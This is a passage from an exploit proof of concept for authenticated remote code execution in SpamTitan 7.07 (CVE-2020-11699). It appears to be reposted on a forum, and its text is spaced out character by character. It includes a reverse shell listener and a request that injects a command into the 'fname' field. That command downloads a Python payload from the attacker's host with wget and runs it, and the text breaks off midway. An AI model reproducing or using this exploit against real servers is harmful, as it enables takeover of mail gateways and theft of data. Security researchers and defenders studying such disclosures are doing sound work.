e c u t i n g :   r e q u e s t s . I f   y o u r   I P   i s   1 9 2 . 1 6 8 . 1 . 5   a n d   t h e   t a r g e t   S p a m T i t a n   s e r v e r   i s s p a m t i t a n . e x a m p l e . c o m ,   c a l l   t h e   P o C   l i k e   t h i s : . / m u l t i r c e . p y   - t   s p a m t i t a n . e x a m p l e . c o m   - i   1 9 2 . 1 6 8 . 1 . 5   - m   < E X P L O I T N U M B E R >   - u   < U S E R >   - p   < P A S S W O R D >   - U   h t t p : / / 1 9 2 . 1 6 8 . 1 . 5 / r e v . p y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # ! / u s r / b i n / e n v   p y t h o n #   A u t h o r :   F e l i p e   M o l i n a   ( @ f e l m o l t o r ) #   D a t e :   0 9 / 0 4 / 2 0 2 0 #   P y t h o n   V e r s i o n :   3 . 7 #   S u m m a r y :   T h i s   i s   P o C   f o r   m u l t i p l e   a u t h e n t i c a t e d   R C E   a n d   A r b i t r a r y   F i l e   R e a d #   0 d a y s   o n   S p a m T i t a n   7 . 0 7   a n d   p r e v i o u s   v e r s i o n s . #   P r o d u c t   U R L :   h t t p s : / / w w w . s p a m t i t a n . c o m / #   P r o d u c t   V e r s i o n :   7 . 0 7   a n d   p r o b a b l y   p r e v i o u s i m p o r t   r e q u e s t s f r o m   r e q u e s t s   i m p o r t   T i m e o u t r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) i m p o r t   o s i m p o r t   t h r e a d i n g f r o m   o p t p a r s e   i m p o r t   O p t i o n P a r s e r i m p o r t   s o c k e t i m p o r t   j s o n i m p o r t   r e f r o m   u r l l i b . p a r s e   i m p o r t   u r l p a r s e f r o m   t i m e   i m p o r t   s l e e p f r o m   b a s e 6 4   i m p o r t   b 6 4 d e c o d e , b 6 4 e n c o d e d e f   m y i p ( ) :   s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ D G R A M )   t r y :   #   d o e s n ' t   e v e n   h a v e   t o   b e   r e a c h a b l e   s . c o n n e c t ( ( ' 1 0 . 2 5 5 . 2 5 5 . 2 5 5 ' ,   1 ) )   I P   =   s . g e t s o c k n a m e ( ) [ 0 ]   e x c e p t :   I P   =   ' 1 2 7 . 0 . 0 . 1 '   f i n a l l y :   s . c l o s e ( )   r e t u r n   I P d e f   s h e l l S e r v e r ( i p , p o r t , q u i e t ) :   s e r v e r s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )   s e r v e r s . b i n d ( ( i p ,   p o r t ) )   s e r v e r s . l i s t e n ( 1 )   i n f o ( " W a i t i n g   f o r   i n c o m i n g   c o n n e c t i o n   o n   % s : % s "   %   ( i p , p o r t ) )   c o n n ,   a d d r   =   s e r v e r s . a c c e p t ( )   c o n n . s e t t i m e o u t ( 1 )   s u c c e s s ( " H u r r a y ,   w e   g o t   a   c o n n e c t i o n   f r o m   % s "   %   a d d r [ 0 ] )   p r o m p t   = c o n n . r e c v ( 1 2 8 )   p r o m p t = s t r ( p r o m p t . d e c o d e ( " u t f - 8 " ) ) . s t r i p ( )   c o m m a n d   =   i n p u t ( p r o m p t )   w h i l e   T r u e :   t r y :   c   =   " % s n "   %   ( c o m m a n d )   i f   ( l e n ( c ) > 0 ) :   c o n n . s e n d a l l ( c . e n c o d e ( " u t f - 8 " ) )   #   Q u i t   t h e   c o n s o l e   i f   c o m m a n d   = =   ' e x i t ' :   i n f o ( " n C l o s i n g   c o n n e c t i o n " )   c o n n . c l o s e ( )   b r e a k   e l s e :   c o m p l e t e a n s w e r = " "   w h i l e   T r u e :   a n s w e r = N o n e   t r y :   a n s w e r = s t r ( ( c o n n . r e c v ( 1 0 2 4 ) ) . d e c o d e ( " u t f - 8 " ) )   c o m p l e t e a n s w e r + = a n s w e r   e x c e p t   s o c k e t . t i m e o u t :   c o m p l e t e a n s w e r . s t r i p ( )   b r e a k   p r i n t ( c o m p l e t e a n s w e r , e n d = ' ' )   c o m m a n d   =   i n p u t ( " " )   e x c e p t   ( K e y b o a r d I n t e r r u p t ,   E O F E r r o r ) :   i n f o ( " n C l o s i n g   c o n n e c t i o n " )   b r e a k #   T h i s   i s   a n   a u t h e n t i c a t e d   r e m o t e   c o d e   e x e c u t i o n   i n   " c e r t s - x . p h p " .   E . g : d e f   C V E _ 2 0 2 0 _ 1 1 6 9 9 ( c o o k i e s ,   t a r g e t ,   s h e l l u r l ) :   #   G i v i n g   t i m e   t o   t h e   m a i m   t h r e a d   t o   o p e n   t h e   r e v e r s e   s h e l l   l i s t e n e r   s l e e p ( 5 )   o s c m d = " / u s r / l o c a l / b i n / w g e t   % s   - O   / t m p / r . p y ; / u s r / l o c a l / b i n / p y t h o n / t m p / r . p y "   %   ( s h e l l u r l )   t 1   =   " % s / c e r t s . p h p "   %   t a r g e t   t 2   =   " % s / c e r t s - x . p h p "   %   t a r g e t   #   g e t   t h e   c s r f   t o k e n   v a l u e   r e s 1   =   r e q u e s t s . g e t ( t 1 , c o o k i e s = c o o k i e s , v e r i f y = F a l s e )   m   =   r e . s e a r c h ( " v a r   c s r f _ t o k e n _ p o s t d a t a = . * C S R F N a m e = ( . * ) & C S R F T o k e n = ( . * ) " ; " , r e s 1 . t e x t )   i f   ( m   i s   n o t   N o n e ) :   c s r f g u a r d = m . g r o u p ( 1 )   c s r f t o k e n = m . g r o u p ( 2 )   d a t a   =   {   " C S R F N a m e " : c s r f g u a r d ,   " C S R F T o k e n " : c s r f t o k e n ,   " j a c t i o n " : " d e l e t e c e r t " ,   " f n a m e " : " d u m m y   | |   $ ( % s ) "   %   o s c m d   }   i n f o ( " T r i g g e r i n g   t h e   r e v e r s e   s h e l l   i n   t h e   t a r g e t . " )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则